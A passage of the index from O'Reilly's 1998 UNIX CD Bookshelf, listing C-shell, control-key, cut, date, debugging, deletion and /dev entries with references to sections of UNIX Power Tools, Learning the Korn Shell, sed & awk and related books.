repeat command : UNIX Power Tools, 9.25. The C Shell repeat Command
script file extension : UNIX Power Tools, 1.17. Filename Extensions
set nonomatch command : UNIX Power Tools, 3.4. Automatic File Cleanup
special characters/operators in : UNIX Power Tools, 8.19. "Special" Characters and Operators
speeding up : UNIX Power Tools, 2.9. Speeding Up Your C Shell with set prompt Test
standard input
UNIX Power Tools, 47.2.1.2. Reading Files
(see also standard input)
standard output
UNIX Power Tools, 47.2.1.4. More Elaborate Combinations
(see also standard output)
stray prompt problems : UNIX Power Tools, 7.3. C Shell Prompt Causes Problems in vi, rsh, etc.
trapping signals : UNIX Power Tools, 47.2.3. Signals
variables
UNIX Power Tools, 6.8. Shell Variables
UNIX Power Tools, 6.9. Special C Shell Variables
UNIX Power Tools, 6.10. Running a Command with a Temporarily Different Environment
UNIX Power Tools, 47.2.5. Variable Syntax
UNIX in a Nutshell, 5.3. Variables
csh command name : UNIX Power Tools, 42.2.5. Aborting Programs
.csh filename extension : UNIX Power Tools, 1.17. Filename Extensions
csh time variable
UNIX Power Tools, 39.2. Timing Programs
UNIX Power Tools, 39.3. The csh time variable
csh_init
UNIX Power Tools, 47.5. Using C Shell Arrays
UNIX Power Tools, 50.8. Which Version Am I Using?
UNIX Power Tools, 52.4. Quick Descriptions of What's on the Disc
csh_logout : UNIX Power Tools, 52.4. Quick Descriptions of What's on the Disc
.cshrc file
UNIX Power Tools, 2.2.2. C Shell
UNIX Power Tools, 2.5.1. Quick Login
UNIX Power Tools, 2.7. C Shell Setup Files Aren't Read When You Want Them to Be?
UNIX Power Tools, 2.9. Speeding Up Your C Shell with set prompt Test
UNIX in a Nutshell, 5.2.1. Special Files
UNIX in a Nutshell, 5.3.4. Example .cshrc File
# in : UNIX Power Tools, 10.2.1. Simple Aliases
creating multiline prompt : UNIX Power Tools, 7.11. dirs in Your Prompt: Better than $cwd
if statements in : UNIX Power Tools, 47.3. Conditional Statements with if
prompt setting
UNIX Power Tools, 7.2. Basics of Setting the Prompt
UNIX Power Tools, 7.5. Multiline Shell Prompts
setting search path : UNIX Power Tools, 8.7.1. Setting Path in Shell Setup Files
SHLVL environment variable : UNIX Power Tools, 7.9. Show Subshell Level with $SHLVL
symlinks workaround : UNIX Power Tools, 14.13. Which Directory Am I in, Really?
.cshrc.$HOST file : UNIX Power Tools, 2.13. A .cshrc.$HOST File for Per Host Setup
CSHRC_READ variable : UNIX Power Tools, 2.10. Gotchas in set prompt Test
csplit program
UNIX Power Tools, 35.10. Splitting Files by Context: csplit
UNIX Power Tools, 52.4. Quick Descriptions of What's on the Disc
UNIX in a Nutshell, Chapter 2, Reference: csplit
ctags command
UNIX Power Tools, 30.28. Keep Track of Functions and Included Files with ctags and tags
UNIX in a Nutshell, Chapter 2, Reference: ctags
ctime, defined : UNIX Power Tools, 16.5. The Three UNIX File Times
ctrace commands
UNIX in a Nutshell, Chapter 2, Reference: ctrace
UNIX Power Tools, 42.2.5. Aborting Programs
CTRL key : UNIX Power Tools, 5.8. Terminal Escape Sequences
specifying with stty command : UNIX Power Tools, 5.9. Setting Your Erase, Kill, and Interrupt Characters
CTRL-\
Learning the Korn Shell, 1.9.5. Control Keys
Learning the Korn Shell, 8.3.1. Control-key Signals
Learning the Korn Shell, 8.6.2. Nested Subshells
UNIX Power Tools, 41.2.1. How We Made It This Far (Back?)
CTRL-/ : UNIX Power Tools, 38.9. Killing Foreground Jobs
CTRL-C
Learning the Korn Shell, 1.9.5. Control Keys
Learning the Korn Shell, 7.1. I/O Redirectors
Learning the Korn Shell, 8.2.2. Suspending a Job
Learning the Korn Shell, 8.3. Signals
Learning the Korn Shell, 8.3.1. Control-key Signals
Learning the Korn Shell, 8.3.2. kill
Learning the Korn Shell, 8.4. trap
Learning the Korn Shell, 8.4.2. Process ID Variables and Temporary Files
Learning the Korn Shell, 8.6.2. Nested Subshells
Learning the Korn Shell, 9.1.2.1. EXIT
Learning the UNIX Operating System, 1.4. The Unresponsive Terminal
UNIX Power Tools, 9.19. For the Impatient: Type-Ahead
UNIX Power Tools, 38.9. Killing Foreground Jobs
UNIX Power Tools, 42.2.5. Aborting Programs
CTRL-D
Learning the Korn Shell, 1.4. Getting the Korn Shell
Learning the Korn Shell, 1.5. Interactive Shell Use
Learning the Korn Shell, 1.9.5. Control Keys
Learning the Korn Shell, 5.4. select
Learning the Korn Shell, 7.1. I/O Redirectors
Learning the Korn Shell, 8.4.1. Traps and Functions
Learning the UNIX Operating System, 1.4. The Unresponsive Terminal
Learning the UNIX Operating System, 5.1.1.1. The > operator
UNIX Power Tools, 2.5.1. Quick Login
UNIX Power Tools, 3.5. Stop Accidental C Shell Logouts
UNIX Power Tools, 41.2.1. How We Made It This Far (Back?)
flushing the input buffer : UNIX Power Tools, 41.7. Reading Verrrry Long Lines from the Terminal
to end scripts : UNIX Power Tools, 51.5. Copy What You Do with script
typing command lines in at : UNIX Power Tools, 40.3. The at Command
CTRL-H
Learning the Korn Shell, 1.9.5. Control Keys
Learning the UNIX Operating System, 1.1.7. Correcting a Mistake
UNIX Power Tools, 41.2.2. Handling Most Characters
CTRL-J
Learning the UNIX Operating System, 1.4. The Unresponsive Terminal
UNIX Power Tools, 42.4. Checklist for Resetting a Messed Up Terminal
CTRL-L : UNIX Power Tools, 42.5. Checklist: Screen Size Messed Up?
CTRL-M
Learning the Korn Shell, 1.9.5. Control Keys
UNIX Power Tools, 1.29. When Is a File Not a File?
UNIX Power Tools, 4.9. Setting Up vi with the .exrc File
CTRL-Q
Learning the Korn Shell, 1.9.5. Control Keys
Learning the UNIX Operating System, 1.4. The Unresponsive Terminal
UNIX Power Tools, 41.2.4. Flow Control (We Hope)
killing processes : UNIX Power Tools, 38.15. Cleaning Up an Unkillable Process
restarting output : UNIX Power Tools, 42.2.1. Output Stopped?
CTRL-R : UNIX Power Tools, 9.3. Reprinting Your Command Line with CTRL-r
CTRL-S
Learning the Korn Shell, 1.9.5. Control Keys
Learning the UNIX Operating System, 1.4. The Unresponsive Terminal
UNIX Power Tools, 41.2.4. Flow Control (We Hope)
stopping output : UNIX Power Tools, 42.2.1. Output Stopped?
CTRL-U
Learning the Korn Shell, 1.9.5. Control Keys
UNIX Power Tools, 9.2. Fix a Line Faster with Line-Kill and Word-Erase
CTRL-W : UNIX Power Tools, 9.2. Fix a Line Faster with Line-Kill and Word-Erase
CTRL-X : UNIX Power Tools, 9.2. Fix a Line Faster with Line-Kill and Word-Erase
CTRL-Z
Learning the Korn Shell, 8.2. Job Control
Learning the Korn Shell, 8.2.2. Suspending a Job
Learning the Korn Shell, 8.3. Signals
Learning the Korn Shell, 8.3.1. Control-key Signals
Learning the UNIX Operating System, 1.4. The Unresponsive Terminal
Learning the UNIX Operating System, 6.1. Running a Command in the Background
UNIX Power Tools, 1.28. Some Gotchas with Background Processing
UNIX Power Tools, 12.1.1. Foreground and Background
UNIX Power Tools, 38.8. What Are Signals?
putting jobs in background : UNIX Power Tools, 42.2.3. Program Waiting for Input?
stopping a subshell : UNIX Power Tools, 38.4. Subshells
used during sourcing : UNIX Power Tools, 47.2.2.1. Built-Ins
CTS (Clear to Send) : UNIX Power Tools, 41.2.4. Flow Control (We Hope)
cu command : UNIX in a Nutshell, Chapter 2, Reference: cu
cur function : UNIX Power Tools, 10.9. Shell Functions
curly braces
(see braces)
(see { })
curly quotes : UNIX Power Tools, 43.21. Preprocessing troff Input with sed
current directory
UNIX Power Tools, 1.21. Making Pathnames
UNIX Power Tools, 6.3. Predefined Environment Variables
UNIX Power Tools, 7.11. dirs in Your Prompt: Better than $cwd
UNIX Power Tools, 10.9. Shell Functions
UNIX Power Tools, 14.13. Which Directory Am I in, Really?
UNIX Power Tools, 38.3. Managing Processes: Overall Concepts
advantages : UNIX Power Tools, 14.3. What Good Is a Current Directory?
finding : UNIX Power Tools, 14.4. How Does UNIX Find Your Current Directory?
current job : UNIX Power Tools, 12.3. The "Current Job" Isn't Always What You Expect
cursor movement commands (emacs) : UNIX in a Nutshell, 7.2.2. Cursor Movement Commands
cursor movement commands (vi)
by character (h, j, k, l)
Learning the vi Editor, 2.2.1. Single Movements
Learning the vi Editor, 2.6. Review of Basic vi Commands
by line (+, -)
Learning the vi Editor, 3.1.5. Movement by Line
Learning the vi Editor, 3.1.5.1. Movement on the Current Line
by line number (G)
Learning the vi Editor, 3.4. Movement by Line Number
Learning the vi Editor, 3.4.1. The G (Go To) Command if
by repeating searches (n, N) : Learning the vi Editor, 3.3.1. Repeating Searches
by screen : Learning the vi Editor, 3.1. Movement by Screens
by search for a pattern (?, /) : Learning the vi Editor, 3.3. Movement by Searches
by text block : Learning the vi Editor, 3.2. Movement by Text Blocks
by word (w, b)
Learning the vi Editor, 2.2.4. Movement by Text Blocks
Learning the vi Editor, 2.6. Review of Basic vi Commands
search within current line (f, t) : Learning the vi Editor, 3.3.2. Current Line Searches
to marked place in file : Learning the vi Editor, 4.4. Marking Your Place
using numeric arguments : Learning the vi Editor, 2.2.2. Numeric Arguments
within a line (0, $)
Learning the vi Editor, 2.2.3. Movement Within a Line
Learning the vi Editor, 2.6. Review of Basic vi Commands
within a screen (H, M, L) : Learning the vi Editor, 3.1.4. Movement Within a Screen
cursors : Learning the UNIX Operating System, 2.4.1. Pointer Shape
custom shells : UNIX Power Tools, 2.1. Customizing the Shell
customizing
account : Learning the UNIX Operating System, 3.6. Customizing Your Account
commands
advantages of : UNIX Power Tools, 1.4. Using Pipes to Create a New Tool
directories : UNIX Power Tools, 1.10. Internal and External Commands
Emacs searching : UNIX Power Tools, 32.8. Rational Searches
grep commands : UNIX Power Tools, 27.12. Make Custom grep Commands (etc.) with perl
functions : sed & awk, 9.3. Writing Your Own Functions
keys : (see key definitions)
login session : UNIX in a Nutshell, 3.2.2. Customization of Your UNIX Session
programming the shell : Learning the UNIX Operating System, 7.3. Programming
cut command
Learning the Korn Shell, 1.7.1. Standard I/O
Learning the Korn Shell, 1.7.3. Pipelines
Learning the Korn Shell, 4.4. Command Substitution
Learning the Korn Shell, 5.2. for
Learning the Korn Shell, 7.1.1. Here-documents
Learning the Korn Shell, 7.2.2. read
Learning the Korn Shell, 7.3.1. Quoting
Learning the Korn Shell, 9.1.1. Set Options
Learning the Korn Shell, 10.1. Installing the Korn Shell as the Standard Shell
UNIX Power Tools, 35.14. Cutting Columns or Fields with cut
UNIX Power Tools, 52.4. Quick Descriptions of What's on the Disc
UNIX in a Nutshell, Chapter 2, Reference: cut
(see also join command; newform command; paste command)
-c (extract columns) : Learning the Korn Shell, 4.4. Command Substitution
-d (field delimiter)
Learning the Korn Shell, 4.4. Command Substitution
Learning the Korn Shell, 6.1.2. Options with Arguments
advantages : UNIX Power Tools, 45.30.2. Using echo with awk, colrm, or cut
awk compared to
Learning the Korn Shell, 4.4. Command Substitution
UNIX Power Tools, 45.30.2. Using echo with awk, colrm, or cut
as filter in index program : UNIX Power Tools, 48.12. Using index with a Filter
cvtbase program
UNIX Power Tools, 49.5. Base Conversion Using cvtbase
UNIX Power Tools, 52.4. Quick Descriptions of What's on the Disc
cw script : UNIX Power Tools, 22.10. cx, cw, c-w: Quick File Permission Changes
cwd shell variable
UNIX Power Tools, 6.9. Special C Shell Variables
UNIX Power Tools, 7.11. dirs in Your Prompt: Better than $cwd
UNIX Power Tools, 14.13. Which Directory Am I in, Really?
UNIX in a Nutshell, 5.3.3. Predefined Shell Variables
cx script : UNIX Power Tools, 22.10. cx, cw, c-w: Quick File Permission Changes
cxref command : UNIX in a Nutshell, Chapter 2, Reference: cxref
hosts, .cshrc.$HOST file for : UNIX Power Tools, 2.13. A .cshrc.$HOST File for Per Host Setup

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Copyright © 1998 O'Reilly & Associates, Inc. All Rights Reserved.

The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Index

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Index: D

dollar sign ($)
$* argument
UNIX Power Tools, 45.30.1. Matching with expr
UNIX Power Tools, 46.7. Quoting and Command-Line Parameters
$@ argument
UNIX Power Tools, 44.15.1. With the $@"
UNIX Power Tools, 45.30.1. Matching with expr
UNIX Power Tools, 46.7. Quoting and Command-Line Parameters
passing arguments to getopt : UNIX Power Tools, 44.18. Standard Command-Line Parsing
$! variable : UNIX Power Tools, 47.2.5. Variable Syntax
$$ command-line arguments : UNIX Power Tools, 44.12. Trapping Exits Caused by Interrupts
$# command-line argument : UNIX Power Tools, 44.15.3. Counting Arguments with $#
$- test : UNIX Power Tools, 2.11. Faster ksh and bash Startup with $- Test
$< variable : UNIX Power Tools, 47.2.1.2. Reading Files
$() command : UNIX Power Tools, 45.31. Nested Command Substitution
$(( )) : (see arithmetic expressions)
$? variable : UNIX Power Tools, 47.2.1.4. More Elaborate Combinations
$' ANSI C string delimiter in next release : Learning the Korn Shell, A.7. The Future of the Korn Shell
$0, $1, $2, ...
UNIX Power Tools, 44.11. Set Exit Status of a Shell (Script)
UNIX Power Tools, 44.12. Trapping Exits Caused by Interrupts
UNIX Power Tools, 44.15. Handling Command-Line Arguments in Shell Scripts
UNIX Power Tools, 44.22. Finding a Program Name; Multiple Program Names
UNIX Power Tools, 47.4.3.1. Assignment Operators
sed & awk, 2.4.1. Running awk
sed & awk, 7.5.1. Referencing and Separating Fields
built-in variable
Learning the Korn Shell, 2.2. The History File
Learning the Korn Shell, 8.4.2. Process ID Variables and Temporary Files
UNIX Power Tools, 44.7. Exit Status of UNIX Processes
in C shell : UNIX Power Tools, 47.5. Using C Shell Arrays
for last input line : sed & awk, 4.2. A Global Perspective on Addressing
metacharacter (regular expression operator)
UNIX Power Tools, 26.4.1. The Anchor Characters: ^ and $
UNIX Power Tools, 44.6. Pattern Matching in case Statements
sed & awk, 3.2. A Line-Up of Characters
sed & awk, 3.2.7. Positional Metacharacters
in multiline pattern space : sed & awk, 6.1.1. Append Next Line
quoting and : UNIX Power Tools, 8.14.2. How Quoting Works
with variable names : UNIX Power Tools, 6.8. Shell Variables
d command (sed)
sed & awk, 4.2. A Global Perspective on Addressing
sed & awk, 5.4. Delete
UNIX in a Nutshell, Chapter 10, Reference: d
H command with : sed & awk, 6.3. Hold That Line
D command (sed)
sed & awk, 5.4. Delete
sed & awk, 6.1.2. Multiline Delete
UNIX in a Nutshell, Chapter 10, Reference: D
with P and N commands : sed & awk, 6.1.3. Multiline Print
d command (ed) : sed & awk, 2.1. Awk, by Sed and Grep, out of Ed
daemons : UNIX Power Tools, 1.14. The Kernel and Daemons
controlling terminal and : UNIX Power Tools, 38.6. The Controlling Terminal
restarting with the kill command : UNIX Power Tools, 38.11. Printer Queue Watcher: A Restartable Daemon Shell Script
dash : (see - (hyphen))
data keywords, SCCS : UNIX in a Nutshell, 17.4. Data Keywords
data swutches : Learning the UNIX Operating System, 1.1.1.2. Connecting with a data switch
data transmission, verifying : UNIX in a Nutshell, Chapter 2, Reference: sum
databases
created using awk : UNIX Power Tools, 48.10. Working with Names and Addresses
files for email messages : UNIX in a Nutshell, Chapter 2, Reference: gencat
index program for creating : UNIX Power Tools, 48.11. The index Database Program
searching : UNIX Power Tools, 17.19. Finding Files (Much) Faster with a find Database
date and time
Learning the Korn Shell, 1.7.2. I/O Redirection
Learning the Korn Shell, 6.2. Integer Variables and Arithmetic
date and time
access times : UNIX Power Tools, 16.5. The Three UNIX File Times
appending date to filenames : UNIX Power Tools, 21.14. Automatically Appending the Date to a Filename
calendars
cal program
UNIX Power Tools, 48.6. Get Calendar for Any Month or Year: cal
UNIX Power Tools, 48.7. cal That Marks Today's Date
UNIX Power Tools, 48.8. Calendar for 132-Column Terminals or Printers
UNIX Power Tools, 48.9. PostScript Calendars with pcal
UNIX in a Nutshell, Chapter 2, Reference: cal
cal_today script
UNIX Power Tools, 48.7. cal That Marks Today's Date
UNIX Power Tools, 52.4. Quick Descriptions of What's on the Disc
calen program
UNIX Power Tools, 48.8. Calendar for 132-Column Terminals or Printers
UNIX Power Tools, 52.4. Quick Descriptions of What's on the Disc
calendar program
UNIX Power Tools, 40.11. Send Yourself Reminder Mail
UNIX Power Tools, 48.4. Automatic Reminders and More: calendar
UNIX in a Nutshell, Chapter 2, Reference: calendar
date command
Learning the UNIX Operating System, 1.1.6.1. date
Learning the UNIX Operating System, 5.1.1.1. The > operator
UNIX Power Tools, 7.12. External Commands Send Signals to Set Variables
UNIX Power Tools, 16.16. Picking a Unique Filename Automatically
UNIX Power Tools, 21.14. Automatically Appending the Date to a Filename
UNIX Power Tools, 51.10. The date Command
UNIX Power Tools, 52.4. Quick Descriptions of What's on the Disc
UNIX in a Nutshell, Chapter 2, Reference: date
cal program using : UNIX Power Tools, 48.7. cal That Marks Today's Date
examples : UNIX Power Tools, 51.10. The date Command
file modification : (see timestamps)
formats accepted by calendar : UNIX Power Tools, 48.4.1. How calendar Works
process execution time : Learning the UNIX Operating System, 6.2.1. ps
specifying with RCS : UNIX in a Nutshell, 18.3.5. Specifying the Date
temporal usage information
UNIX in a Nutshell, Chapter 2, Reference: time
UNIX in a Nutshell, Chapter 2, Reference: timex
time command
UNIX Power Tools, 39.2. Timing Programs
UNIX Power Tools, 47.2.2.1. Built-Ins
UNIX in a Nutshell, Chapter 2, Reference: time
UNIX in a Nutshell, Chapter 4, Reference: time
UNIX in a Nutshell, Chapter 5, Reference: time
examples : UNIX Power Tools, 47.2.2.1. Built-Ins
time variable
UNIX Power Tools, 6.9. Special C Shell Variables
UNIX Power Tools, 39.3. The csh time variable
UNIX in a Nutshell, 5.3.3. Predefined Shell Variables
format string tags : UNIX Power Tools, 39.3. The csh time variable
time daemon : UNIX Power Tools, 51.2. How UNIX Keeps Time
time management : sed & awk, 11.2.3.11. Time management for programmers
timeout keyword : UNIX Power Tools, 9.26. Expect
time-sharing processes, scheduling priority of : UNIX Power Tools, 39.9. Know When to Be "nice" to OTher Users...and When
times command : UNIX in a Nutshell, Chapter 4, Reference: times
timestamps
UNIX Power Tools, 16.5. The Three UNIX File Times
UNIX Power Tools, 17.8. Exact File Time Comparisons
backups and : UNIX Power Tools, 20.7. Creating a Timestamp File for Selective Backups
listing/finding files by
UNIX Power Tools, 16.2. Finding Oldest or Newest Files with ls -t and ls -u
UNIX Power Tools, 16.9. An Alias to List Recently Changed Files
UNIX Power Tools, 16.18. Listing Files You've Created/Edited Today
UNIX Power Tools, 16.25. Listing Files by Age and Size
UNIX Power Tools, 16.27. newer: Print the Name of the Newest File
UNIX Power Tools, 17.5. Searching for Old Files
storing : UNIX Power Tools, 2.15. Unclutter Logins: Show Login Messages Just Once
touch command : UNIX Power Tools, 21.7. Setting File Modification Time with touch
timezones, TZ variable for
UNIX Power Tools, 6.3. Predefined Environment Variables
UNIX Power Tools, 6.6. The TZ Environment Variable
timex command
UNIX Power Tools, 39.2. Timing Programs
UNIX in a Nutshell, Chapter 2, Reference: timex
timing programs : UNIX Power Tools, 39.2. Timing Programs
timing report, customizing : UNIX Power Tools, 39.3. The csh time variable
on UNIX systems
UNIX Power Tools, 39.1. Which Time Is It?
UNIX Power Tools, 51.2. How UNIX Keeps Time
day-of-month in crontab entries : UNIX Power Tools, 40.12.1. Execution Scheduling
dbm files : UNIX Power Tools, 24.18. Huge Files Might Not Take a Lot of Disk Space
dbx debugger
Learning the Korn Shell, 10.2.2. ulimit
UNIX in a Nutshell, Chapter 2, Reference: dbx
UNIX in a Nutshell, 20.2. The Dbx Debugger
dbxenv command (dbx) : UNIX in a Nutshell, Chapter 20, Reference: dbxenv
dc command
Learning the Korn Shell, 8.5.4. Coroutines with Two-way Pipes
Learning the Korn Shell, 8.6.2. Nested Subshells
UNIX Power Tools, 49.1. bc: Simple Math at the Shell Prompt
UNIX in a Nutshell, Chapter 2, Reference: dc
(see also bc command; calculators)
DCL : (see VAX/VMS command language)
dd command
UNIX Power Tools, 35.6. Low-Level File Butchery with dd
UNIX Power Tools, 35.12. Converting Between ASCII and EBCDIC
UNIX Power Tools, 35.13. Other Conversions with dd
UNIX Power Tools, 52.4. Quick Descriptions of What's on the Disc
UNIX in a Nutshell, Chapter 2, Reference: dd
performance and : UNIX Power Tools, 20.6. Writing a Tape Drive on a Remote Machine
restoring from remote tape drives
UNIX Power Tools, 20.5. Using tar to a Remote Tape Drive
UNIX Power Tools, 35.13. Other Conversions with dd
dead processes : (see zombies)
dead.letter file : Learning the UNIX Operating System, 3.4.1. Sending Mail
debug command (dbx) : UNIX in a Nutshell, Chapter 20, Reference: debug
debuggers
Learning the Korn Shell, 6.1.3.1. More About C Compilers
Learning the Korn Shell, 9. Debugging Shell Programs
UNIX in a Nutshell, 20. Program Debugging
dbx
Learning the Korn Shell, 10.2.2. ulimit
UNIX in a Nutshell, Chapter 2, Reference: dbx
UNIX in a Nutshell, 20.2. The Dbx Debugger
essential features : Learning the Korn Shell, 9.2. A Korn Shell Debugger
sdb
Learning the Korn Shell, 10.2.2. ulimit
UNIX in a Nutshell, Chapter 2, Reference: sdb
UNIX in a Nutshell, 20.1. The Sdb Debugger
debugging
UNIX Power Tools, 44.9. Testing Your Success
sed & awk, 10.7. Debugging
(see also errors; standard error)
aborted programs : UNIX in a Nutshell, Chapter 2, Reference: sdb
Bourne shell scripts
UNIX Power Tools, 44.8. Test Exit Status with the if Statement
UNIX Power Tools, 46.1. Tips for Debugging Shell Scripts
C programs
UNIX in a Nutshell, Chapter 2, Reference: ctrace
UNIX in a Nutshell, Chapter 2, Reference: lint
core dumps : Learning the Korn Shell, 10.2.2. ulimit
dbx command : UNIX in a Nutshell, Chapter 2, Reference: dbx
echo command used for : UNIX Power Tools, 46.2. Quoting Trouble? Think, Then Use echo
output
UNIX Power Tools, 46.1.1. Use -xv
(see also standard output)
piping to pager : UNIX Power Tools, 46.1.1. Use -xv
print command with : sed & awk, 5.8. Print
shell code
Learning the Korn Shell, Summary of Korn Shell Features
Learning the Korn Shell, 9.1. Basic Debugging Aids
Learning the Korn Shell, 9.2. A Korn Shell Debugger
(see also kshdb)
basics : Learning the Korn Shell, 9.1. Basic Debugging Aids
options : (see options, noexec, verbose, xtrace)
with print : Learning the Korn Shell, 9.1. Basic Debugging Aids
decimals, ASCII character conversion : UNIX Power Tools, 45.11. The Multipurpose jot Command
decrement (--) operator : sed & awk, 7.6. Expressions
decryption : (see encryption)
default command (csh) : UNIX in a Nutshell, Chapter 5, Reference: default
defining functions : sed & awk, 9.3. Writing Your Own Functions
defining variables : sed & awk, 7.6. Expressions
<defunct> status under System V : UNIX Power Tools, 38.10. Destroying Processes with kill
DEL (or DELETE) key
Learning the Korn Shell, 1.9.5. Control Keys
Learning the Korn Shell, 2.3.1. Basic Commands
Learning the UNIX Operating System, 1.1.7. Correcting a Mistake
Learning the UNIX Operating System, 3.6. Customizing Your Account
UNIX Power Tools, 41.2.1. How We Made It This Far (Back?)
UNIX Power Tools, 41.2.2. Handling Most Characters
UNIX Power Tools, 51.6. Cleaning script Files
deleting on command line : UNIX Power Tools, 9.2. Fix a Line Faster with Line-Kill and Word-Erase
erase character : UNIX Power Tools, 51.6. Cleaning script Files
location for : UNIX Power Tools, 2.13. A .cshrc.$HOST File for Per Host Setup
del script
UNIX Power Tools, 23.6. A Faster Way to Remove Files Interactively
UNIX Power Tools, 52.4. Quick Descriptions of What's on the Disc
deledit pseudo-command (sccs) : UNIX in a Nutshell, 17.6.2. Pseudo-commands
delete command : UNIX Power Tools, 52.4. Quick Descriptions of What's on the Disc
delete command (awk)
UNIX Power Tools, 33.11.7. Alphabetical Summary of Commands
sed & awk, 8.4.6. Deleting Elements of an Array
sed & awk, 11.2.1.1. Deleting all elements of an array
UNIX in a Nutshell, Chapter 11, Reference: delete
delete command (dbx) : UNIX in a Nutshell, Chapter 20, Reference: delete
delete command (ed) : sed & awk, 2.1. Awk, by Sed and Grep, out of Ed
delete command (ex)
UNIX Power Tools, 33.4. Useful ex Commands
UNIX in a Nutshell, Chapter 9, Reference: delete
delete command (sed) : (see d command (sed); D command (sed))
delete script : UNIX Power Tools, 23.9. delete: Protecting Files from Accidental Deletion
deleting
array elements
sed & awk, 8.4.6. Deleting Elements of an Array
sed & awk, 11.1.8. Arrays
sed & awk, 11.2.1.1. Deleting all elements of an array
directories
Learning the UNIX Operating System, 4.4.5. Removing Files and Directories
UNIX Power Tools, 23.17. Problems Deleting Directories
UNIX Power Tools, 23.18. How Making and Deleting Directories Works
UNIX Power Tools, 50.12. Common UNIX Error Messages
UNIX in a Nutshell, Chapter 2, Reference: rmdir
emacs commands for : UNIX in a Nutshell, 7.2.3. Deletion Commands
errors caused by : UNIX Power Tools, 50.12. Common UNIX Error Messages
files
Learning the UNIX Operating System, 4.4.5. Removing Files and Directories
UNIX Power Tools, 1.15. Filenames
UNIX Power Tools, 21.11. Safer Removing, Moving, and Copying
UNIX Power Tools, 23.2. rm and Its Dangers
UNIX Power Tools, 23.5. Remove Some, Leave Some
UNIX Power Tools, 23.10. Deletion with Prejudice: rm -f
UNIX Power Tools, 23.21. Removing Every File but One
UNIX Power Tools, 45.10. Removing a File Once It's Opened - for Security and Easy Cleanup
from archives : UNIX in a Nutshell, Chapter 2, Reference: ar
emptying files instead of : UNIX Power Tools, 24.1. Instead of Removing a File, Empty It
find command and : UNIX Power Tools, 23.22. Using find to Clear Out Unneeded Files
by i-number : UNIX Power Tools, 23.16. Removing a Strange File by its I-number
interactively : UNIX Power Tools, 23.6. A Faster Way to Remove Files Interactively
by last access date : UNIX Power Tools, 23.20. Deleting Stale Files
safeguards against
UNIX Power Tools, 20.13. SCCS Basics
UNIX Power Tools, 21.11. Safer Removing, Moving, and Copying
UNIX Power Tools, 23.7. Safer File Deletion in Some Directories
UNIX Power Tools, 23.9. delete: Protecting Files from Accidental Deletion
with special filename characters : UNIX Power Tools, 23.11. Deleting Files with Odd Names
with unlink command : UNIX Power Tools, 23.15. Using unlink to Remove a File with a Strange Name
lines
sed & awk, 2.1. Awk, by Sed and Grep, out of Ed
sed & awk, 5.4. Delete
sed & awk, 6.1.2. Multiline Delete
man pages : UNIX Power Tools, 23.19. Deleting (BSD) Manual Pages that Aren't Read
recovering deletions (vi)
from numbered buffers
Learning the vi Editor, 2.3.5.4. Problems with Deletions
Learning the vi Editor, 4.3. Making Use of Buffers
Learning the vi Editor, 4.3.1. Recovering Deletions
with undo : Learning the vi Editor, 2.3.5.4. Problems with Deletions
vi commands for
all blank lines : Learning the vi Editor, 6.4.3. More Examples
character (x) : Learning the vi Editor, 2.3.5.3. Characters
line (dd) : Learning the vi Editor, 2.3.5.2. Lines
range of lines (:d) : Learning the vi Editor, 5.2.2. Defining a Range of Lines
text (d)
Learning the vi Editor, 2.3.5. Deleting Text Chapter
Learning the vi Editor, 2.3.7. Copying Text
Learning the vi Editor, 2.6. Review of Basic vi Commands
Learning the vi Editor, 4.1. More Command Combinations
to end of line (D) : Learning the vi Editor, 2.3.5.2. Lines
to end of sentence : Learning the vi Editor, 3.2. Movement by Text Blocks
up to pattern (d/pattern) : Learning the vi Editor, 3.3.2. Current Line Searches
word (dw) : Learning the vi Editor, 2.3.5.1. Words
whitespace
UNIX Power Tools, 25.9. Adding and Deleting White Space
UNIX Power Tools, 25.13. pushin: Squeeze Out Extra White Space
wildcards and : UNIX Power Tools, 23.2. rm and Its Dangers
delget pseudo-command (sccs) : UNIX in a Nutshell, 17.6.2. Pseudo-commands
delimiters
sed & awk, 7.7. System Variables
sed & awk, 11.1.7. Field Separating
awk
sed & awk, 2.4.1. Running awk
sed & awk, 7.5. Records and Fields
sed & awk, 7.5.1. Referencing and Separating Fields
sed & awk, 7.5.2. Field Splitting: The Full Story
FIELDWIDTHS variable (gawk) : sed & awk, 11.2.3.6. Separating fields
FS variable
sed & awk, 7.5.1. Referencing and Separating Fields
sed & awk, 7.5.2. Field Splitting: The Full Story
sed & awk, 7.7. System Variables
sed & awk, 11.2.1.2. Obtaining individual characters
OFS variable : sed & awk, 7.7. System Variables
for regular expressions
sed & awk, 2.1. Awk, by Sed and Grep, out of Ed
sed & awk, 5.3. Substitution
subscript-component : sed & awk, 8.5.1. Multidimensional Arrays
delta command (SCCS)
UNIX Power Tools, 20.13. SCCS Basics
UNIX in a Nutshell, 17.2.2. Retrieving a File
UNIX in a Nutshell, Chapter 17, Reference: delta
deroff command
UNIX Power Tools, 29.10. Just the Words, Please
UNIX in a Nutshell, Chapter 2, Reference: deroff
description file lines (make) : UNIX in a Nutshell, 19.2. Description File Lines
description files : UNIX in a Nutshell, Chapter 2, Reference: make
detach command (dbx) : UNIX in a Nutshell, Chapter 20, Reference: detach
detaching sessions : UNIX Power Tools, 3.7. Detaching a Session with screen
/dev directory
UNIX Power Tools, 13.1. Using Standard Input and Output
sed & awk, 11.2.1.4. Special filenames
sed & awk, 11.2.3.7. Additional special files
/dev/null file
UNIX Power Tools, 13.14. What Can You Do with an Empty File?
UNIX Power Tools, 13.15. What to Do with a Full Bit Bucket :-)
UNIX Power Tools, 44.10.2. Looping Until a Command Fails
UNIX Power Tools, 45.36. Shell Lockfile
/dev/tty file
UNIX Power Tools, 13.3. Send (only) Standard Error Down a Pipe
UNIX Power Tools, 47.2.1.1. Writing Files
/dev/zero file : UNIX Power Tools, 13.14. What Can You Do with an Empty File?
/dev/null
Learning the Korn Shell, 5.2. for
Learning the Korn Shell, 6.1.3. getopts
Learning the Korn Shell, 10.1. Installing the Korn Shell as the Standard Shell
device drivers, resetting : UNIX Power Tools, 38.15. Cleaning Up an Unkillable Process
device numbers : UNIX Power Tools, 17.22. Finding the Links to a File
df command
UNIX Power Tools, 17.22. Finding the Links to a File
